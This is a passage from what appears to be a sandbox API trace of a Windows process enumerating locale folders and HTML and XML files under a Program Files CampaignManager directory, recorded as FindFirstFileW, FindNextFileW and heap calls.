ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92eb078f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0185.144] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c5b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0185.144] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0185.145] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x929796cf, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x929796cf, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0185.145] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92eb078f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0185.145] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92eb078f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0185.145] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0185.146] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0185.146] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a33d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x934cc975, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0185.146] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0185.146] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a33d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x934cc975, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0185.147] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a33d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x934cc975, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0185.147] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92eb078f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9702, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0185.147] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93007e14, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93007e14, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0185.148] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93007e14, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93007e14, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x187, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0185.148] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934cc975, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0185.148] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934cc975, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0185.148] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0185.149] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0185.149] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a36304, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93670243, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0185.149] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0185.149] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a36304, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93670243, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0185.150] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a36304, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93670243, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0185.150] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934cc975, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x1007a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0185.151] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934f2a6a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934f2a6a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x306, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0185.151] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934f2a6a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934f2a6a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0185.151] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93670243, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x2b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0185.151] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93670243, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x2b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0185.151] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0185.152] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0185.152] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0185.152] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0185.152] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0185.153] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0185.153] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93670243, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9cf8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0185.154] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93696451, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93696451, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0185.154] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938ac51e, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x938ac51e, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0185.154] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1af, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0185.154] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1af, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0185.154] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0185.155] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0185.155] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0185.155] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0185.155] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484d18 [0185.156] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0185.156] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xd422, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0185.156] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x19338e00, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x2a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0185.157] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0185.157] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a9c3f1, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93a9c3f1, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x219, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0185.157] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a9c3f1, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93a9c3f1, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x219, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0185.157] FindClose (in: hFindFile=0x484d18 | out: hFindFile=0x484d18) returned 1 [0185.158] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0185.158] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi-VN", cAlternateFileName="")) returned 1 [0185.158] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0185.158] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0185.159] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0185.159] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93b5b0aa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0185.159] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93b81242, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93b81242, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x71249d00, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0185.160] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93b81242, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93b81242, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, 